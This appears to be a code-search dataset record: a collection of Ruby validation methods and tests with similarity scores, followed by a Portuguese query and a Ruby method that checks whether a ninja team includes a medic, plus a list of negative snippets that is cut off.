assert(!pn.valid_components?('new'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n # Valid? - No - Format bad, illegal characters in the number\n pcb_pn = '127-###-a0'.split('-')\n pcba_pn = '128-JPA-00'.split('-')\n pn.pcb_number = pcb_pn[1]\n pn.pcba_number = pcba_pn[1]\n assert(!pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcba_number?)\n assert( pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_pcba_part_number?)\n assert(!pn.valid_components?('new'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n # Valid? - No - Format bad, illegal characters in the dash number\n pcb_pn = '127-714-*'.split('-')\n pcba_pn = '128-755-!&'.split('-')\n pn.pcb_number = pcb_pn[1]\n pn.pcba_number = pcba_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n pn.pcba_dash_number = pcba_pn[2]\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert(!pn.valid_pcb_dash_number?)\n assert( pn.valid_pcba_number?)\n assert( pn.valid_pcba_prefix?)\n assert(!pn.valid_pcba_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_pcba_part_number?)\n assert(!pn.valid_components?('new'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n # Valid? - Yes\n pcb_pn = '127-714-01'.split('-')\n pcba_pn = '128-755-a0'.split('-')\n pn.pcb_dash_number = pcb_pn[2]\n pn.pcba_dash_number = pcba_pn[2]\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcba_number?)\n assert( pn.valid_pcba_prefix?)\n assert( pn.valid_pcba_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert( pn.valid_pcba_part_number?)\n assert( pn.valid_components?('new'=='new'))\n assert(!pn.error_message)\n\n # Valid? - Yes\n pn = PartNumber.initial_part_number\n pcb_pn = '600-123-a0'.split('-') \n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert( pn.valid_components?('not'=='new'))\n assert(!pn.error_message)\n \n # Valid? - No, pcb pn exists.\n pcb_pn = '252-700-b0'.split('-') \n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n pn.pcb_revision = 'a'\n\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n assert_equal(@msg_pcb_exists_pcb, pn.error_message)\n \n # Valid? - No, pcb pn duplicates pcba pn \n pcb_pn = '259-700-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n pn.pcb_revision = 'b'\n\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n assert_equal(@msg_pcb_exists_pcba, pn.error_message)\n \n # Valid? - No, pcb pn prefix contains the wrong number of characters \n pcb_pn = '12-700-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n assert( pn.valid_pcb_number?)\n assert(!pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n # Valid? - No, pcb pn prefix contains illegal characters \n pcb_pn = '12e-700-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n assert( pn.valid_pcb_number?)\n assert(!pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n\n # Valid? - No, pcb pn number contains wrong number of characters \n pcb_pn = '127-3-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n assert(!pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n #assert_equal(@msg_format_error, pn.error_message)\n\n\n # Valid? - No, pcb pn number contains illegal characters \n pcb_pn = '127-#*@-00'.split('-')\n pn.pcb_number = pcb_pn[1]\n assert(!pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n\n # Valid? - No, pcb pn dash number contains wrong number of, and illegal, characters \n pcb_pn = '127-714-@'.split('-')\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert(!pn.valid_pcb_dash_number?)\n assert(!pn.valid_pcb_part_number?)\n assert(!pn.valid_components?('not'=='new'))\n assert_equal(@msg_format_error, pn.error_message)\n\n # Valid? - Yes \n pcb_pn = '127-714-01'.split('-')\n pn.pcb_dash_number = pcb_pn[2]\n assert( pn.valid_pcb_number?)\n assert( pn.valid_pcb_prefix?)\n assert( pn.valid_pcb_dash_number?)\n assert( pn.valid_pcb_part_number?)\n assert( pn.valid_components?('not'=='new'))\n assert(!pn.error_message)\n \n \n assert(!pn.exists?)\n assert_nil(pn.error_message)\n pn.save\n assert(pn.exists?)\n assert_equal(@msg_pcb_exists_pcb, pn.error_message)\n\n assert(PartNumber.valid_prefix?('100'))\n assert(!PartNumber.valid_prefix?('1'))\n assert(!PartNumber.valid_prefix?('a'))\n assert(!PartNumber.valid_prefix?('10'))\n assert(!PartNumber.valid_prefix?('a7'))\n assert(!PartNumber.valid_prefix?('1aa'))\n assert(!PartNumber.valid_prefix?('a00'))\n assert(!PartNumber.valid_prefix?('1776'))\n assert(!PartNumber.valid_prefix?('a345'))\n \n assert(PartNumber.valid_number?('100'))\n assert(!PartNumber.valid_number?('1'))\n assert(!PartNumber.valid_number?('a'))\n assert(!PartNumber.valid_number?('10'))\n assert(!PartNumber.valid_number?('a7'))\n assert(!PartNumber.valid_number?('1aa'))\n assert(!PartNumber.valid_number?('a00'))\n assert(!PartNumber.valid_number?('1776'))\n assert(!PartNumber.valid_number?('a345'))\n \n assert(PartNumber.valid_dash_number?('a0'))\n assert(PartNumber.valid_dash_number?('0a'))\n assert(!PartNumber.valid_dash_number?('a'))\n assert(!PartNumber.valid_dash_number?('4'))\n assert(!PartNumber.valid_dash_number?('aa33'))\n assert(!PartNumber.valid_dash_number?('333'))\n \n # Create known part numbers for testing.\n pn = PartNumber.initial_part_number\n pcb_pn = '700-801-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n pn.save\n \n pn = PartNumber.initial_part_number\n pcb_pn = '700-802-00'.split('-')\n pcba_pn = '700-804-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n pn.pcba_prefix = pcba_pn[0]\n pn.pcba_number = pcba_pn[1]\n pn.pcba_dash_number = pcba_pn[2]\n pn.save\n \n pn = PartNumber.initial_part_number\n pcb_pn = '700-801-01'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n assert( pn.valid_components?('not'=='new'))\n assert(!pn.error_message)\n\n pn = PartNumber.initial_part_number\n pcb_pn = '700-804-00'.split('-')\n pn.pcb_prefix = pcb_pn[0]\n pn.pcb_number = pcb_pn[1]\n pn.pcb_dash_number = pcb_pn[2]\n assert(!pn.valid_components?('not'=='new'))\n assert( pn.error_message)\n assert_equal(@msg_pcb_exists_pcba, pn.error_message)\n \n pcba_pn = '700-900-90'.split('-')\n pn.pcba_prefix = pcba_pn[0]\n pn.pcba_number = pcba_pn[1]\n pn.pcba_dash_number = pcba_pn[2]\n pn.pcba_revision = 'b'\n assert(!pn.valid_components?('new'))\n assert( pn.error_message)\n assert_equal(@msg_pcb_exists_pcba, pn.error_message)\n \n \n pcba_pn = '000-000-00'.split('-')\n pn.pcba_prefix = pcba_pn[0]\n pn.pcba_number = pcba_pn[1]\n pn.pcba_dash_number = pcba_pn[2]\n pn.pcba_revision = 'a'\n assert(!pn.valid_components?('new'))\n assert( pn.error_message)\n assert_equal(@msg_pcb_exists_pcba, pn.error_message)\n \n end", "def validate\n errors.add_to_base(\"Your Volume is to long, can only store 4 characters!\") if self.volume.to_s.length > 4\n errors.add_to_base(\"Your Number is to long, can only store 3 characters!\")if self.number.to_s.length > 3\n errors.add_to_base(\"Your Semester is to long, can only store 6 characters!\")if self.semester.to_s.length > 6\n end", "def valid_operation\n if (wallet_origin && wallet_destiny ||\n wallet_origin && card_destiny && card_destiny.debit ||\n card_origin && wallet_destiny).nil?\n errors.add(:amount, 'invalid operation. Missing wallet(s) and/or card(s)')\n end\n end", "def valid?\n end", "def valid?\n end", "def valid?\n end", "def valid?\n end", "def is_valid\n\tend", "def is_valid\n\tend", "def fecha_comprobante\n if self.tipocomprobante_id == 1 #solo para el comprobante manual verifica?\n if self.fechacbte.to_date < Periodo.fecha_ini_periodo(1).to_date\n errors.add(:fechacbte, \"La fecha corresponde a un periodo cerrado.\")\n end\n end\n end", "def valid?(thing); end", "def valid?(thing); end", "def is_valid\n return true\n end", "def check_stock_rango\n c = nueva_cantidad\n unless c < DECIMAL_LIMITE[:superior]\n errors.add(:cantidad, I18n.t('movimiento_mercaderia.detalle_cantidad_stock_superior', limite: DECIMAL_LIMITE[:superior]))\n false\n end\n end", "def test_cantidad_cuotas\n print validate(36, cantidad_cuotas(16,1900.0))\n print validate(24, cantidad_cuotas(29,2100.0)) \n print validate(12, cantidad_cuotas(19,700.0)) \n print validate(6, cantidad_cuotas(20,1000.0))\n print validate(3, cantidad_cuotas(15,3200.0)) \nend", "def valid?\n !vendor_no.nil? && !name.nil?\n end", "def mc_cop_aae_alt_aae(row)\n #se copertura:arboreo,arbustivo ed erbaceo == 0, le altezze rispettive devono essere null [Presi singolarmente]\n #a meno che i parametri su cui fare il check siano nulli\n unless row.copertura_arboreo.nil? || row.copertura_arbustivo.nil? || row.copertura_erbaceo.nil?\n if row.copertura_arboreo == 0\n unless row.altezza_arboreo.nil?\n multiple_parameter_error(row,\"Copertura Arboreo = 0, Altezza Arboreo not null\")\n end\n end\n if row.copertura_arbustivo == 0\n unless row.altezza_arbustivo.nil?\n multiple_parameter_error(row,\"Copertura Arbustivo = 0, Altezza Arbustivo not null\")\n end\n end\n if row.copertura_erbaceo == 0\n unless row.altezza_erbaceo.nil?\n multiple_parameter_error(row,\"Copertura Erbaceo = 0, Altezza Erbaceo not null\")\n end\n end\n end\n end", "def validate\n super\n validates_presence :components unless initial?\n validates_presence :version\n end", "def control_F(dia,mes,anio)\r\n valdio=false\r\n if ((01..31)===dia.to_i)\r\n if((01..12)===mes.to_i)&&(es_valido(mes,dia)||(mes==\"02\"&&dia==\"29\")&& es_bisiesto(anio.to_i))\r\n if ((1000..9999)===anio.to_i)\r\n valido= true\r\n else\r\n valido= false\r\n end\r\n else\r\n valido= false\r\n end\r\n else\r\n valido= false\r\n end\r\n return valido\r\nend", "def ensure_not_item_calendario\n \t\tif item_calendarios.empty?\n \t\t\treturn true\n \t\telse\n \t\t\terrors.add(:base, 'Usted tiene Curso(s) registrado(s)')\n \t\t\treturn false\n \t\tend\n \tend", "def precondition(_op)\n range = (50...100)\n _op = Operation.find(_op.id)\n valid_conc?(_op, range)\nend", "def valid?\n true\n end", "def validate()\n # rung base method to check\n # for alphabet\n super\n # check for sequenz\n # an validate sequenz length\n if (sequenz?)\n # hier check sequenz length \n if(@lenth != @string.length)\n raise \"String length is not correct\\nRequired lenght: #{@lenth}\\nCurrent length: #{@string.length}\\nString:#{@string}\" \n end\n end\n end", "def validate\r\n\r\n end", "def validate\n is_valid = true\n\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:order_type_id => self.order_type_id}], self)\n end\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:trading_partner_party_role_id => self.trading_partner_party_role_id}], self)\n end\n\n if is_valid\n is_valid = ModelHelper::Validations.validate_combos([{:customer_party_role_id => self.customer_party_role_id}], self)\n end\n end", "def validate!; end", "def validate!; end", "def validate!; end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code},{:rmt_variety_code => self.rmt_variety_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_rmt_variety\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:season_code => self.season_code},{:id => self.id}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_season\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:pack_material_product_code => self.pack_material_product_code},{:id => self.id}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_pack_material_product\n\t end\nend", "def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 50\n return false if @prefix_suffix_option.nil?\n prefix_suffix_option_validator = EnumAttributeValidator.new('String', [\"Prefix\", \"Suffix\"])\n return false unless prefix_suffix_option_validator.valid?(@prefix_suffix_option)\n return false if !@invoice_pre_suffix.nil? && @invoice_pre_suffix.to_s.length > 5\n application_units_validator = EnumAttributeValidator.new('String', [\"Amount\", \"Hours\", \"Incidents\"])\n return false unless application_units_validator.valid?(@application_units)\n application_cycle_validator = EnumAttributeValidator.new('String', [\"Contract2Weeks\", \"Contract4Weeks\", \"ContractYear\", \"CalendarMonth\", \"CalendarQuarter\", \"CalendarWeek\", \"ContractQuarter\", \"CalendarYear\"])\n return false unless application_cycle_validator.valid?(@application_cycle)\n return false if @employee_comp_rate.nil?\n employee_comp_rate_validator = EnumAttributeValidator.new('String', [\"Actual\", \"Hourly\"])\n return false unless employee_comp_rate_validator.valid?(@employee_comp_rate)\n return false if @employee_comp_not_exceed.nil?\n employee_comp_not_exceed_validator = EnumAttributeValidator.new('String', [\"Billing\", \"Percent\", \"Amount\"])\n return false unless employee_comp_not_exceed_validator.valid?(@employee_comp_not_exceed)\n return false if @invoicing_cycle.nil?\n invoicing_cycle_validator = EnumAttributeValidator.new('String', [\"CalendarYear\", \"ContractYear\"])\n return false unless invoicing_cycle_validator.valid?(@invoicing_cycle)\n return false if !@invoice_description.nil? && @invoice_description.to_s.length > 4000\n return false if @bill_time.nil?\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n return false if @bill_expenses.nil?\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n return false if @bill_products.nil?\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n return true\n end", "def valid?\n return false if !@opt_id.nil? && @opt_id.to_s.length > 60\n return false if !@opt_id.nil? && @opt_id.to_s.length < 0\n return false if !@wallet_payer.nil? && @wallet_payer.to_s.length > 100\n return false if !@wallet_payer.nil? && @wallet_payer.to_s.length < 0\n return false if !@wallet_receiver.nil? && @wallet_receiver.to_s.length > 100\n return false if !@wallet_receiver.nil? && @wallet_receiver.to_s.length < 0\n return false if !@comment.nil? && @comment.to_s.length > 140\n return false if !@comment.nil? && @comment.to_s.length < 0\n return false if !@return_url.nil? && @return_url.to_s.length > 255\n return false if !@return_url.nil? && @return_url.to_s.length < 0\n return false if !@cancel_url.nil? && @cancel_url.to_s.length > 255\n return false if !@cancel_url.nil? && @cancel_url.to_s.length < 0\n return false if !@error_url.nil? && @error_url.to_s.length > 255\n return false if !@error_url.nil? && @error_url.to_s.length < 0\n return false if !@first_name_payer.nil? && @first_name_payer.to_s.length > 255\n return false if !@first_name_payer.nil? && @first_name_payer.to_s.length < 0\n return false if !@last_name_payer.nil? && @last_name_payer.to_s.length > 255\n return false if !@last_name_payer.nil? && @last_name_payer.to_s.length < 0\n return false if !@email_payer.nil? && @email_payer.to_s.length > 255\n return false if !@email_payer.nil? && @email_payer.to_s.length < 0\n return false if !@email_payer.nil? && @email_payer !~ Regexp.new(URI::MailTo::EMAIL_REGEXP)\n return false if !@style.nil? && @style.to_s.length > 255\n return false if !@style.nil? && @style.to_s.length < 0\n return false if !@atos_style.nil? && @atos_style.to_s.length > 255\n return false if !@atos_style.nil? && @atos_style.to_s.length < 0\n return false if !@notif_url.nil? && @notif_url.to_s.length > 255\n return false if !@notif_url.nil? && @notif_url.to_s.length < 0\n return false if !@options.nil? && @options.to_s.length > 255\n return false if !@options.nil? && @options.to_s.length < 0\n true\n end", "def set_validations_and_filters\n validates_length_of :numero_publicacion, :in => 6..12, :allow_nil => true, :allow_blank => true\n validates_presence_of :fecha_solicitud, :numero_gaceta\n validates_format_of :numero_solicitud, :with => /^\\d+-\\d{4}/\n validates_uniqueness_of :numero_solicitud#, :scope => :parent_id\n #validates_presence_of :numero_publicacion, :numero_gaceta\n end", "def validate_selected_one_campus\n if campuses.empty?\n errors.add(:campuses, \"No se ha seleccionado un campus para publicar esta noticia\")\n end\n end", "def validate; end" ]
[ "0.6502186", "0.6484966", "0.64467585", "0.6206665", "0.60198426", "0.60147375", "0.59823704", "0.5975454", "0.5969201", "0.59583974", "0.5950263", "0.5950263", "0.5950263", "0.5950263", "0.5950263", "0.59331906", "0.5915364", "0.59121513", "0.5911753", "0.5875695", "0.5874668", "0.5874668", "0.5873763", "0.5866218", "0.58581376", "0.58558303", "0.58505136", "0.5847768", "0.5840864", "0.58398926", "0.58398926", "0.5828672", "0.5826641", "0.58243805", "0.582423", "0.5797361", "0.57941115", "0.5790112", "0.5780765", "0.5778622", "0.57712793", "0.57682294", "0.57627684", "0.5723016", "0.57131964", "0.5701329", "0.57007957", "0.5697422", "0.5696183", "0.5634554", "0.5623775", "0.5611951", "0.56082094", "0.56082094", "0.56002975", "0.56002975", "0.5599052", "0.5597454", "0.5592496", "0.5584654", "0.5581296", "0.55807436", "0.55787516", "0.5577991", "0.55765426", "0.5574635", "0.5564806", "0.5557835", "0.5556327", "0.5556327", "0.5556327", "0.5556327", "0.5552164", "0.5552164", "0.5545967", "0.55394876", "0.55394876", "0.553792", "0.55368", "0.55358785", "0.55305636", "0.5530424", "0.55247694", "0.55093896", "0.5498982", "0.5497987", "0.54900044", "0.54898626", "0.5487877", "0.54870373", "0.54835224", "0.54835224", "0.54835224", "0.54808927", "0.54722404", "0.54713386", "0.5462805", "0.54572403", "0.54569775", "0.54518336" ]
0.6216527
3
verifica se ha um medico na equipe
def is_medico_membro(equipe) membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id] val_is_medico = false for i in 0..3 if Pessoa.find(membros[i]).rank.downcase == 'medico' val_is_medico = true end end val_is_medico end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_medico_equipe(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n count_medicos = 0\n\n for i in 0..3\n if Pessoa.find(membros[i]).rank.downcase == 'medico'\n count_medicos += 1\n elsif Pessoa.find(membros[i]).rank.downcase != 'chuunin' and\n Pessoa.find(membros[i]).rank.downcase != 'jounin'\n return false\n end\n end\n\n ((count_medicos == 3) and (Pessoa.find(membros[3]).rank.downcase == 'medico'))\n end", "def earth_mass? = unit == 'earth-mass'", "def es_medidor_de_energia_reactiva\n \tmedidor_id = MedidorEstadoMedidor.where(estado_medidor_id: self.id).take.medidor_id\n medidor = Medidor.find(medidor_id)\n return medidor.tipo_medidor.codigo == 2\n end", "def is_molar_quantity?\n denominator_quantities == [:amount_of_substance]\n end", "def megahertz? = unit == 'megahertz'", "def solar_mass? = unit == 'solar-mass'", "def is_specific_quantity?\n denominator_quantities == [:mass]\n end", "def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend", "def unitvector?\n end", "def dot_per_centimeter? = unit == 'dot-per-centimeter'", "def calcula_imc\n \n if @peso/@altura*@altura < 18\n puts \"vc esta magro\"\n elsif @peso/@altura*@altura <= 25\n puts \"vc esta no peso ideal\"\n elsif @peso/@altura*@altura > 25\n puts \"vc esta acima do peso\"\n end\n \n end", "def is_dimensionless?\n physical_quantity==\"dimensionless\" || @base_quantity_hash.empty?\n end", "def pbIsMedicine?(item)\n return [1, 2, 6, 7].include?(GameData::Item.get(item).battle_use) && !GameData::Item.get(item).is_berry?\nend", "def is_in_mc?(position)\n @minimal_solution[position]\n end", "def tem_carta_maior_do_que_a_maior_carta_da_mesa?\n return true if primeiro_jogador?\n\n max = maior_carta_da_mesa\n @cartas.each do |carta|\n if carta.valor > max\n return true\n end\n end\n false\n end", "def kilohertz? = unit == 'kilohertz'", "def cuadrada\n @n==@m\n end", "def carta_tem_ponto?(carta)\n ['A', '7', 'K', 'J', 'Q'].include? carta.numero\n end", "def somme\n if marquer!\n # Deja marque, donc on ne le visite pas.\n 0\n else\n # Pas marque: on visite les voisins pour calculer leur somme, a\n # laquelle on ajoute la valeur du noeud courant.\n @voisins\n .pmap { |v| @graphe[v] }\n .pmap(&:somme)\n .reduce(@val, :+)\n end\n end", "def magnitude?\n self.units.reject{|d,(u,m)| m==0}.empty?\n end", "def kilogram? = unit == 'kilogram'", "def fahrenheit? = unit == 'fahrenheit'", "def megapixel? = unit == 'megapixel'", "def any_mines_detonated?\n for i in (0..@mine_field[:cover].size-1)\n for r in (0..@mine_field[:cover][0].size-1)\n if @mine_field[:cover][i][r] == true && @mine_field[:bombs][i][r] == true\n return true\n end\n end\n end\n return false\n end", "def victory\n if @findAll + @num_mines >= quantityFields\n return true\n else\n return false\n end\n end", "def revolution_per_meter? = unit == 'revolution-per-meter'", "def number_is_movistar?\n operator === \"Movistar\" && type_payment === \"Prepago\"\n end", "def common?\n self.sightings.size > 30\n end", "def carne\n\t\tcerdo = Alimento.new(\"Cerdo\", 21.5, 0.0, 6.3, 7.6, 11.0)\n\t\tcordero = Alimento.new(\"Cordero\",18.0,0.0,3.1,50.0,164.0)\n\t\tvaca = Alimento.new(\"Carne de vaca\", 21.1,0.0,3.1,50.0,164.0)\n\t\tpollo = Alimento.new(\"Pollo\",20.6,0.0,5.6,5.7,7.1)\n\t\tsuma = 0\n\n\t\t[cerdo,cordero,vaca,pollo].each do |i|\n\t\t\tif (@alimentos.find_index { |x| x == i } != nil)\n\t\t\t\tsuma += @gramos[@alimentos.find_index { |x| x == i }].valor\n\t\t\tend\t\t\n\t\tend\n\n\t\treturn suma >= (gramos_total * 0.45)\n\tend", "def indice_masa_corporal\n\t\t(peso / (talla * talla) * 10000).round(1)\n\tend", "def es_matrimonio_asignado?(matrimonio)\n asignaciones_seguimiento.where(persona_id: matrimonio.esposo_id)\n .or(asignaciones_seguimiento.where(persona_id: matrimonio.esposa_id))\n .any?\n end", "def precio_mercado\n @serie.valor_primer_dia('precio')\n end", "def espanola\n\t\treturn ((prot >= 14.0 || prot <= 26.0) && (car >= 34.0 || car <= 46.0) && (lip >= 34.0 || lip <= 46.0))\n\tend", "def es_mayor_que?(otherCat)\n #compara la edad de katty con la de peto\n calculate > otherCat.calculate \n end", "def mcast?\n self.a1 >= 224 && self.a1 <= 239\n end", "def any_mines_detonated?\n @value_grid.any?{ |space, properties| properties == { cleared: true, mine: true } }\n end", "def hayMateriasPrimasProducirCantidad(sku, cantidad_lotes)\n\tif Bodega.first == nil\n\t\treturn false\n\tend\n\tskusYCantidades = skusMateriasPrimasPorLote(sku)\n\tskusYCantidades.each do |skuYCantidad|\n\t\tskuYCantidad[:cantidad] = skuYCantidad[:cantidad] * cantidad_lotes\n\t\tif(skuYCantidad[:cantidad].to_i>Bodega.checkStockTotal(skuYCantidad[:sku]))\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\t\nend", "def stock_maximo_mayor?\n if self.stock_maximo < self.stock_minimo\n errors.add(:stock_maximo, I18n.t('errors.messages.stock_maximo')) \n errors.add(:stock_minimo, I18n.t('errors.messages.stock_minimo'))\n end\n end", "def carat? = unit == 'carat'", "def quantas_imagens_tem?(val)\n return val\n end", "def contains?(mobiles)\n return (mobiles.to_a - occupants).empty?\n end", "def visible_on_catalog?\n #self.variants.each do |variant|\n # if variant.stock > 0\n # return true\n # end\n # false\n #end\n\n #contador = 0 \n #self.variants.each do |variant|\n # contador = contador + variant.stock\n #end\n\n #if contador > 0 \n # false\n #else\n # true\n #end\n\n #forma corta\n total_stock = self.variants.map(&:stock).inject(0,&:+)\n (total_stock > 0)\n\n end", "def vasca\n\t\treturn ((prot >= 9.0 || prot <= 21.0) && (car >= 54.0 || car <= 66.0) && (lip >= 19.0 || lip <= 31.0))\n\tend", "def any_space?(volume_to_add)\n if current_space > volume_to_add.to_i\n true\n else\n puts 'Can\\'t add parcel. Too Big'\n false\n end\n end", "def menuValido\r\n if (sexo == \"Hombre\")\r\n return (kcalMenu.round == 3000 && proteinasMenu > 54.0)\r\n else\r\n return (kcalMenu.round == 2300 && proteinasMenu > 41.0)\r\n end\r\n end", "def vegetaria\n\t\tcerdo = Alimento.new(\"Cerdo\", 21.5, 0.0, 6.3, 7.6, 11.0)\n\t\tcordero = Alimento.new(\"Cordero\",18.0,0.0,3.1,50.0,164.0)\n\t\tvaca = Alimento.new(\"Carne de vaca\", 21.1,0.0,3.1,50.0,164.0)\n\t\tcamarones = Alimento.new(\"Camarones\",17.6,1.5,0.6,18.0,2.0)\n\t\tpollo = Alimento.new(\"Pollo\",20.6,0.0,5.6,5.7,7.1)\n\n\t\t[cerdo,cordero,vaca,camarones,pollo].each do |i|\n\t\t\tif (@alimentos.find { |x| x == i }) != nil\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn ((prot >= 14.0 || prot <= 26.0) && (car >= 34.0 || car <= 46.0) && (lip >= 34.0 || lip <= 46.0))\n\tend", "def units?\n return units.any?\n end", "def is_anbu_equipe(equipe)\n membros = [equipe.mb_1_id, equipe.mb_2_id, equipe.mb_3_id, equipe.mb_S_id]\n val_is_anbu = true\n\n for i in 0..3\n val_is_anbu = (val_is_anbu and (Pessoa.find(membros[i]).rank.downcase == 'anbu'))\n end\n end", "def visible_on_catalog?\n contador = 0\n self.variants.each do |v|\n contador += v.stock\n end\n\n (contador > 0) ? false : true\n end", "def medical_use; end", "def gastriloquism_quinnipiac_apodictical()\n end", "def any_mines_detonated?\n @field.flatten.each do |cell|\n if cell.mine == true && cell.revealed?\n return true\n end\n end\n return false\n end", "def any_mines_detonated?\n for x in 0..@row_count - 1 do\n for y in 0..@column_count - 1 do\n if @cleared_field[[x,y]] && @mine_field[[x,y]]\n return true\n break\n end\n end\n end\n false\n\n end", "def trio?\n @valores.to_h.select{|k, v| (3..3).cover?(v)}.size == 1\n end", "def calcular(precio)\n @anterior = get_anterior\n @current = precio\n \tcase self.indicator_type.nombre\n \twhen \"Media Movil 4\"\n \t\tcalcularMedia4\n\t when \"Media Movil 18\"\n\t\t calcularMedia18\n when \"Media Movil 9\"\n calcularMedia9\n when \"MACD\"\n calcularMACD\n\t end\n end", "def commensurate?(other)\n s = self.base.unit.map{ |u| u.type }.uniq\n o = other.base.unit.map{ |u| u.type }.uniq\n (s - o).empty? && (o - s).empty?\n end", "def validar_equipe(equipe)\n equipe_valida = true\n if is_raikage_membro(equipe)\n equipe_valida = false\n flash[:warning] = \"O Raikage não pode estar em uma equipe.\"\n\n elsif !is_anbu_equipe(equipe)\n equipe_valida = false\n flash[:warning] = \"Os ninjas ANBU só podem estar em uma equipe em que todos os membros são ANBU\"\n\n elsif is_medico_membro(equipe)\n unless is_medico_equipe(equipe)\n equipe_valida = false\n flash[:warning] = \"Os ninjas médicos devem estar em uma equipe formada por 3 ninjas médicos, sendo um deles o superior, e 1 ninja chuunin ou jounin.\"\n\n end\n end\n equipe_valida\n end", "def huella\n\t\tindice1 = 0\n\t\t#dependiendo del vct de cada ingrediente, se le pone un indice\n\t\tif vct < 